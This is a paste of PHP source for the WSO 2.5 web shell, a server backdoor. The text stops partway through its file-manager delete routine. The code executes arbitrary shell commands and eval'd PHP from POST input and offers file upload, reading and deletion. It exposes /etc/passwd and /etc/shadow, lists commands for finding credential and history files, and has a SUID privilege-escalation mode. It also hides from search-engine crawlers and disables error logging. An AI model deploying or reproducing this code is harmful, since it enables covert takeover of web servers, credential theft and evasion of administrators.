· 10 years ago · Jun 14, 2016, 09:48 AM
1<?php
2/*При активизации Suid Ð¼Ð¾Ð´ÑƒÐ»Ñ Ð² целÑÑ… бехопаÑноÑти пароль обÑзателен.*/
3$auth_pass = "";
4$color = "#df5";
5$default_action = 'FilesMan';
6$default_use_ajax = true;
7$default_charset = 'Windows-1251';
8
9@ini_set('error_log',NULL);
10@ini_set('log_errors',0);
11
12function WSOsetcookie($k, $v) {
13 $_COOKIE[$k] = $v;
14 setcookie($k, $v);
15}
16
17function wsoLogin() {
18 if(!empty($_SERVER['HTTP_USER_AGENT'])) {
19 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
20 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
21 header('HTTP/1.0 404 Not Found');
22 exit;
23 }
24 }
25
26die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
27}
28
29if (isset($_POST['a']))
30switch($_POST['a']) {
31case 'Rsuid':
32 if (!empty($_POST['ok'])) {
33 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'sname', $_POST['sname']);
34 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'spass', $_POST['spass']);
35 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'sphp', $_POST['sphp']);
36 unset($_POST['sname']);
37 }
38 if (!empty($_POST['disable'])) {
39 setcookie(md5($_SERVER['HTTP_HOST']).'sname', '', time() - 3600);
40 setcookie(md5($_SERVER['HTTP_HOST']).'spass', '', time() - 3600);
41 setcookie(md5($_SERVER['HTTP_HOST']).'sphp', '', time() - 3600);
42 unset($_COOKIE[md5($_SERVER['HTTP_HOST']).'sname']);
43 unset($_COOKIE[md5($_SERVER['HTTP_HOST']).'spass']);
44 unset($_POST['sname']);
45 }
46case 'FilesMan':
47 if(!empty($_POST['p1']) && $_POST['p1']!= 'uploadFile'||'mkdir'||'delete'||'paste') {
48 WSOsetcookie('act', $_POST['p1']);
49 WSOsetcookie('f', serialize(@$_POST['f']));
50 WSOsetcookie('c', @$_POST['c']);
51 }
52case 'Php':
53 if(isset($_POST['ajax']))
54 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
55 if(empty($_POST['ajax']) && !empty($_POST['p1']))
56 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
57case 'Console':
58 if(!empty($_POST['p1']) && !empty($_POST['p2']))
59 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
60 elseif(!empty($_POST['p1']))
61 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
62 if(isset($_POST['ajax']))
63 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
64 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
65 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
66
67}
68
69if (!empty($argc) && (int)$argc == 3 && $argv[1] == $auth_pass) {
70
71$RG = unserialize(base64_decode($argv[2]));
72 $_POST = $RG['_POST'];
73 $_COOKIE = $RG['_COOKIE'];
74 $_FILES = $RG['_FILES'];
75 $_SERVER = $RG['_SERVER'];
76define('suid', 1);
77} elseif(!empty($auth_pass)) {
78 if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
79 WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
80
81 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
82 wsoLogin();
83} else {
84die('Пароль не верен!');
85}
86
87
88
89
90
91
92@ini_set('max_execution_time',0);
93@set_time_limit(0);
94@set_magic_quotes_runtime(0);
95@define('WSO_VERSION', '2.5 Root Modificed');
96
97if(get_magic_quotes_gpc()) {
98 function WSOstripslashes($array) {
99 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
100 }
101 $_POST = WSOstripslashes($_POST);
102 $_COOKIE = WSOstripslashes($_COOKIE);
103}
104
105
106if (!empty($_COOKIE[md5($_SERVER['HTTP_HOST']).'sname']) && !empty($_COOKIE[md5($_SERVER['HTTP_HOST']).'spass']) && $_COOKIE[md5($_SERVER['HTTP_HOST']).'sname'] != '' && !defined('suid')) {
107if($_POST['p2'] == 'edit' && !empty($_POST['p3'])){
108 $tmp_path = '/tmp/'.str_shuffle('0123456789abcdefghijklmnopqrstuvwxyz');
109
110 file_put_contents($tmp_path, $_POST['p3']) or die('/tmp/ isn\'t writable.');
111
112 $_POST['p3'] = $tmp_path;
113}
114
115echo wsoEx($_COOKIE[md5($_SERVER['HTTP_HOST']).'sname'].' '.$_COOKIE[md5($_SERVER['HTTP_HOST']).'spass']. ' "'.$_COOKIE[md5($_SERVER['HTTP_HOST']).'sphp'].' '.$_SERVER['SCRIPT_FILENAME'].' \''.addslashes($_COOKIE[md5($_SERVER['HTTP_HOST'])]).'\' '.'\''.base64_encode(serialize($GLOBALS)).'\'"');
116
117exit;
118}
119
120if(strtolower(substr(PHP_OS,0,3)) == "win")
121 $os = 'win';
122else
123 $os = 'nix';
124
125$safe_mode = @ini_get('safe_mode');
126if(!$safe_mode)
127 error_reporting(0);
128
129$disable_functions = @ini_get('disable_functions');
130$home_cwd = @getcwd();
131if(isset($_POST['c']))
132 @chdir($_POST['c']);
133$cwd = @getcwd();
134if($os == 'win') {
135 $home_cwd = str_replace("\\", "/", $home_cwd);
136 $cwd = str_replace("\\", "/", $cwd);
137}
138if($cwd[strlen($cwd)-1] != '/')
139 $cwd .= '/';
140
141if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
142 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
143
144if($os == 'win')
145 $aliases = array(
146 "List Directory" => "dir",
147 "Find index.php in current dir" => "dir /s /w /b index.php",
148 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
149 "Show active connections" => "netstat -an",
150 "Show running services" => "net start",
151 "User accounts" => "net user",
152 "Show computers" => "net view",
153 "ARP Table" => "arp -a",
154 "IP Configuration" => "ipconfig /all"
155 );
156else
157 $aliases = array(
158 "List dir" => "ls -lha",
159 "list file attributes on a Linux second extended file system" => "lsattr -va",
160 "show opened ports" => "netstat -an | grep -i listen",
161 "process status" => "ps aux",
162 "Find" => "",
163 "find all suid files" => "find / -type f -perm -04000 -ls",
164 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
165 "find all sgid files" => "find / -type f -perm -02000 -ls",
166 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
167 "find config.inc.php files" => "find / -type f -name config.inc.php",
168 "find config* files" => "find / -type f -name \"config*\"",
169 "find config* files in current dir" => "find . -type f -name \"config*\"",
170 "find all writable folders and files" => "find / -perm -2 -ls",
171 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
172 "find all service.pwd files" => "find / -type f -name service.pwd",
173 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
174 "find all .htpasswd files" => "find / -type f -name .htpasswd",
175 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
176 "find all .bash_history files" => "find / -type f -name .bash_history",
177 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
178 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
179 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
180 "Locate" => "",
181 "locate httpd.conf files" => "locate httpd.conf",
182 "locate vhosts.conf files" => "locate vhosts.conf",
183 "locate proftpd.conf files" => "locate proftpd.conf",
184 "locate psybnc.conf files" => "locate psybnc.conf",
185 "locate my.conf files" => "locate my.conf",
186 "locate admin.php files" =>"locate admin.php",
187 "locate cfg.php files" => "locate cfg.php",
188 "locate conf.php files" => "locate conf.php",
189 "locate config.dat files" => "locate config.dat",
190 "locate config.php files" => "locate config.php",
191 "locate config.inc files" => "locate config.inc",
192 "locate config.inc.php" => "locate config.inc.php",
193 "locate config.default.php files" => "locate config.default.php",
194 "locate config* files " => "locate config",
195 "locate .conf files"=>"locate '.conf'",
196 "locate .pwd files" => "locate '.pwd'",
197 "locate .sql files" => "locate '.sql'",
198 "locate .htpasswd files" => "locate '.htpasswd'",
199 "locate .bash_history files" => "locate '.bash_history'",
200 "locate .mysql_history files" => "locate '.mysql_history'",
201 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
202 "locate backup files" => "locate backup",
203 "locate dump files" => "locate dump",
204 "locate priv files" => "locate priv"
205 );
206
207function wsoHeader() {
208 if(empty($_POST['charset']))
209 $_POST['charset'] = $GLOBALS['default_charset'];
210 global $color;
211 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
212<style>
213body{background-color:#444;color:#e1e1e1;}
214body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
215table.info{ color:#fff;background-color:#222; }
216span,h1,a{ color: $color !important; }
217span{ font-weight: bolder; }
218h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
219div.content{ padding: 5px;margin-left:5px;background-color:#333; }
220a{ text-decoration:none; }
221a:hover{ text-decoration:underline; }
222.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
223.bigarea{ width:100%;height:300px; }
224input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
225form{ margin:0px; }
226#toolsTbl{ text-align:center; }
227.toolsInp{ width: 300px }
228.main th{text-align:left;background-color:#5e5e5e;}
229.main tr:hover{background-color:#5e5e5e}
230.l1{background-color:#444}
231.l2{background-color:#333}
232pre{font-family:Courier,Monospace;}
233</style>
234<script>
235 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
236 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
237 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
238 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
239 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
240 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
241 var d = document;
242 function set(a,c,p1,p2,p3,charset) {
243 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
244 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
245 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
246 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
247 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
248 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
249 }
250 function g(a,c,p1,p2,p3,charset) {
251 set(a,c,p1,p2,p3,charset);
252 d.mf.submit();
253 }
254 function a(a,c,p1,p2,p3,charset) {
255 set(a,c,p1,p2,p3,charset);
256 var params = 'ajax=true';
257 for(i=0;i<d.mf.elements.length;i++)
258 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
259 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
260 }
261 function sr(url, params) {
262 if (window.XMLHttpRequest)
263 req = new XMLHttpRequest();
264 else if (window.ActiveXObject)
265 req = new ActiveXObject('Microsoft.XMLHTTP');
266 if (req) {
267 req.onreadystatechange = processReqChange;
268 req.open('POST', url, true);
269 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
270 req.send(params);
271 }
272 }
273 function processReqChange() {
274 if( (req.readyState == 4) )
275 if(req.status == 200) {
276 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
277 var arr=reg.exec(req.responseText);
278 eval(arr[2].substr(0, arr[1]));
279 } else alert('Request error!');
280 }
281</script>
282<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
283<form method=post name=mf style='display:none;'>
284<input type=hidden name=a>
285<input type=hidden name=c>
286<input type=hidden name=p1>
287<input type=hidden name=p2>
288<input type=hidden name=p3>
289<input type=hidden name=charset>
290</form>";
291 $freeSpace = @diskfreespace($GLOBALS['cwd']);
292 $totalSpace = @disk_total_space($GLOBALS['cwd']);
293 $totalSpace = $totalSpace?$totalSpace:1;
294 $release = @php_uname('r');
295 $kernel = @php_uname('s');
296 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
297 if(strpos('Linux', $kernel) !== false)
298 $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
299 else
300 $explink .= urlencode($kernel . ' ' . substr($release,0,3));
301 if(!function_exists('posix_getegid')) {
302 $user = @get_current_user();
303 $uid = @getmyuid();
304 $gid = @getmygid();
305 $group = "?";
306 } else {
307 $uid = @posix_getpwuid(posix_geteuid());
308 $gid = @posix_getgrgid(posix_getegid());
309 $user = $uid['name'];
310 $uid = $uid['uid'];
311 $group = $gid['name'];
312 $gid = $gid['gid'];
313 }
314
315 $cwd_links = '';
316 $path = explode("/", $GLOBALS['cwd']);
317 $n=count($path);
318 for($i=0; $i<$n-1; $i++) {
319 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
320 for($j=0; $j<=$i; $j++)
321 $cwd_links .= $path[$j].'/';
322 $cwd_links .= "\")'>".$path[$i]."/</a>";
323 }
324
325 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
326 $opt_charsets = '';
327 foreach($charsets as $item)
328 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
329
330 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Suid'=>'Rsuid','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
331 if(!empty($GLOBALS['auth_pass']))
332 $m['Logout'] = 'Logout';
333 $m['Self remove'] = 'SelfRemove';
334 $menu = '';
335 foreach($m as $k => $v)
336 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
337
338 $drives = "";
339 if($GLOBALS['os'] == 'win') {
340 foreach(range('c','z') as $drive)
341 if(is_dir($drive.':\\'))
342 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
343 }
344 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
345 . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
346 . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
347 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
348 . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
349}
350
351function wsoFooter() {
352 $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
353 echo "
354</div>
355<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
356 <tr>
357 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
358 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
359 </tr><tr>
360 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
361 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
362 </tr><tr>
363 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
364 <td><form method='post' ENCTYPE='multipart/form-data'>
365 <input type=hidden name=a value='FilesMAn'>
366 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
367 <input type=hidden name=p1 value='uploadFile'>
368 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
369 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
370 </tr></table></div></body></html>";
371}
372
373function actionRsuid() {
374wsoHeader();
375echo '<h1>SUID Exec</h1><div><form method="post">';
376if (!empty($_POST['sname'])) {
377$id = wsoEx($_POST['sname'].' '.(isset($_POST['spass'])?htmlspecialchars($_POST['spass']):'').' id');
378if(strpos($id, 'uid') === 0)
379 echo '<font color="green">'.$id.'</font>';
380 else
381 echo '<font color="red">'.$id.'</font>';
382echo '<br><input type="hidden" name="susave" value="susave"/><tabe><tr><td>Are you sure you want to save changes?</td></tr><br><tr><td align=center><input type="submit" value="Yes" name="ok"></td></tr></table><hr>';
383$_COOKIE[md5($_SERVER['HTTP_HOST']).'sphp'] = isset($_POST['sphp'])?$_POST['sphp']:'php';
384$_COOKIE[md5($_SERVER['HTTP_HOST']).'sname'] = $_POST['sname'];
385$_COOKIE[md5($_SERVER['HTTP_HOST']).'spass'] = isset($_POST['spass'])?$_POST['spass']:'';
386}
387
388echo '<table><tr><td>Suid: </td><td><input type="text" name="sname" value="'.(isset($_COOKIE[md5($_SERVER['HTTP_HOST']).'sname'])?htmlspecialchars($_COOKIE[md5($_SERVER['HTTP_HOST']).'sname'], ENT_COMPAT):'').'"/></td></tr><tr>
389<td>Password: </td><td><input type="text" name="spass" value="'.(isset($_COOKIE[md5($_SERVER['HTTP_HOST']).'spass'])?htmlspecialchars($_COOKIE[md5($_SERVER['HTTP_HOST']).'spass'], ENT_COMPAT):'').'"/></td></tr><tr><td>Php: </td><td><input type="text" name="sphp" value="'.(isset($_COOKIE[md5($_SERVER['HTTP_HOST']).'sphp'])?htmlspecialchars($_COOKIE[md5($_SERVER['HTTP_HOST']).'sphp'], ENT_COMPAT):'php').'"/></td><td>
390<input type="hidden" name="a" value="Rsuid"/>
391<input type="submit" value=">>"></td></tr>
392</table>
393<input type="submit" value="Disable" name="disable">
394</form>';
395
396echo '</div>';
397wsoFooter();
398}
399if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
400 function posix_getpwuid($p) {return false;} }
401if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
402 function posix_getgrgid($p) {return false;} }
403
404function wsoEx($in) {
405 $out = '';
406 if (function_exists('exec')) {
407 @exec($in,$out);
408 $out = @join("\n",$out);
409 } elseif (function_exists('passthru')) {
410 ob_start();
411 @passthru($in);
412 $out = ob_get_clean();
413 } elseif (function_exists('system')) {
414 ob_start();
415 @system($in);
416 $out = ob_get_clean();
417 } elseif (function_exists('shell_exec')) {
418 $out = shell_exec($in);
419 } elseif (is_resource($f = @popen($in,"r"))) {
420 $out = "";
421 while(!@feof($f))
422 $out .= fread($f,1024);
423 pclose($f);
424 } else return 'Unable to execute command';
425 return ($out==''?'Query did not return anything':$out);
426}
427
428function wsoViewSize($s) {
429 if($s >= 1073741824)
430 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
431 elseif($s >= 1048576)
432 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
433 elseif($s >= 1024)
434 return sprintf('%1.2f', $s / 1024 ) . ' KB';
435 else
436 return $s . ' B';
437}
438
439function wsoPerms($p) {
440 if (($p & 0xC000) == 0xC000)$i = 's';
441 elseif (($p & 0xA000) == 0xA000)$i = 'l';
442 elseif (($p & 0x8000) == 0x8000)$i = '-';
443 elseif (($p & 0x6000) == 0x6000)$i = 'b';
444 elseif (($p & 0x4000) == 0x4000)$i = 'd';
445 elseif (($p & 0x2000) == 0x2000)$i = 'c';
446 elseif (($p & 0x1000) == 0x1000)$i = 'p';
447 else $i = 'u';
448 $i .= (($p & 0x0100) ? 'r' : '-');
449 $i .= (($p & 0x0080) ? 'w' : '-');
450 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
451 $i .= (($p & 0x0020) ? 'r' : '-');
452 $i .= (($p & 0x0010) ? 'w' : '-');
453 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
454 $i .= (($p & 0x0004) ? 'r' : '-');
455 $i .= (($p & 0x0002) ? 'w' : '-');
456 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
457 return $i;
458}
459
460function wsoPermsColor($f) {
461 if (!@is_readable($f))
462 return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
463 elseif (!@is_writable($f))
464 return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
465 else
466 return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
467}
468
469function wsoScandir($dir) {
470 if(function_exists("scandir")) {
471 return scandir($dir);
472 } else {
473 $dh = opendir($dir);
474 while (false !== ($filename = readdir($dh)))
475 $files[] = $filename;
476 return $files;
477 }
478}
479
480function wsoWhich($p) {
481 $path = wsoEx('which ' . $p);
482 if(!empty($path))
483 return $path;
484 return false;
485}
486
487function actionSecInfo() {
488 wsoHeader();
489 echo '<h1>Server security information</h1><div class=content>';
490 function wsoSecParam($n, $v) {
491 $v = trim($v);
492 if($v) {
493 echo '<span>' . $n . ': </span>';
494 if(strpos($v, "\n") === false)
495 echo $v . '<br>';
496 else
497 echo '<pre class=ml1>' . $v . '</pre>';
498 }
499 }
500
501 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
502 if(function_exists('apache_get_modules'))
503 wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
504 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
505 wsoSecParam('Open base dir', @ini_get('open_basedir'));
506 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
507 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
508 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
509 $temp=array();
510 if(function_exists('mysql_get_client_info'))
511 $temp[] = "MySql (".mysql_get_client_info().")";
512 if(function_exists('mssql_connect'))
513 $temp[] = "MSSQL";
514 if(function_exists('pg_connect'))
515 $temp[] = "PostgreSQL";
516 if(function_exists('oci_connect'))
517 $temp[] = "Oracle";
518 wsoSecParam('Supported databases', implode(', ', $temp));
519 echo '<br>';
520
521 if($GLOBALS['os'] == 'nix') {
522 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
523 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
524 wsoSecParam('OS version', @file_get_contents('/proc/version'));
525 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
526 if(!$GLOBALS['safe_mode']) {
527 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
528 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
529 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
530 echo '<br>';
531 $temp=array();
532 foreach ($userful as $item)
533 if(wsoWhich($item))
534 $temp[] = $item;
535 wsoSecParam('Userful', implode(', ',$temp));
536 $temp=array();
537 foreach ($danger as $item)
538 if(wsoWhich($item))
539 $temp[] = $item;
540 wsoSecParam('Danger', implode(', ',$temp));
541 $temp=array();
542 foreach ($downloaders as $item)
543 if(wsoWhich($item))
544 $temp[] = $item;
545 wsoSecParam('Downloaders', implode(', ',$temp));
546 echo '<br/>';
547 wsoSecParam('HDD space', wsoEx('df -h'));
548 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
549 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
550 if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
551 $temp = "";
552 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
553 $uid = @posix_getpwuid($_POST['p2']);
554 if ($uid)
555 $temp .= join(':',$uid)."\n";
556 }
557 echo '<br/>';
558 wsoSecParam('Users', $temp);
559 }
560 }
561 } else {
562 wsoSecParam('OS Version',wsoEx('ver'));
563 wsoSecParam('Account Settings',wsoEx('net accounts'));
564 wsoSecParam('User Accounts',wsoEx('net user'));
565 }
566 echo '</div>';
567 wsoFooter();
568}
569
570function actionPhp() {
571 if(isset($_POST['ajax'])) {
572 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
573 ob_start();
574 eval($_POST['p1']);
575 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
576 echo strlen($temp), "\n", $temp;
577 exit;
578 }
579 if(empty($_POST['ajax']) && !empty($_POST['p1']))
580 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
581
582 wsoHeader();
583 if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
584 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
585 ob_start();
586 phpinfo();
587 $tmp = ob_get_clean();
588 $tmp = preg_replace(array (
589 '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
590 '!td, th {(.*)}!msiU',
591 '!<img[^>]+>!msiU',
592 ), array (
593 '',
594 '.e, .v, .h, .h th {$1}',
595 ''
596 ), $tmp);
597 echo str_replace('<h1','<h2', $tmp) .'</div><br>';
598 }
599 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
600 echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
601 if(!empty($_POST['p1'])) {
602 ob_start();
603 eval($_POST['p1']);
604 echo htmlspecialchars(ob_get_clean());
605 }
606 echo '</pre></div>';
607 wsoFooter();
608}
609
610function actionFilesMan() {
611 if (!empty ($_COOKIE['f']))
612 $_COOKIE['f'] = @unserialize($_COOKIE['f']);
613
614 if(!empty($_POST['p1'])) {
615 switch($_POST['p1']) {
616 case 'uploadFile':
617 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
618 if(!@copy($_FILES['f']['tmp_name'], $_FILES['f']['name']))
619 echo "Can't upload file!";
620 break;
621 case 'mkdir':
622 if(!@mkdir($_POST['p2']))
623 echo "Can't create new dir";
624 break;
625 case 'delete':
626 function deleteDir($path) {
627 $path = (substr($path,-1)=='/') ? $path:$path.'/';
628 $dh = opendir($path);
629 while ( ($item = readdir($dh) ) !== false) {
630 $item = $path.$item;
631 if ( (basename($item) == "..") || (basename($item) == ".") )
632 continue;
633 $type = filetype($item);
634 if ($type == "dir")
635 deleteDir($item);
636 else
637 @unlink($item);
638 }
639 closedir($dh);
640 @rmdir($path);
641 }
642 if(is_array(@$_POST['f']))
643 foreach($_POST['f'] as $f) {
644 if($f == '..')
645 continue;
646 $f = urldecode($f);
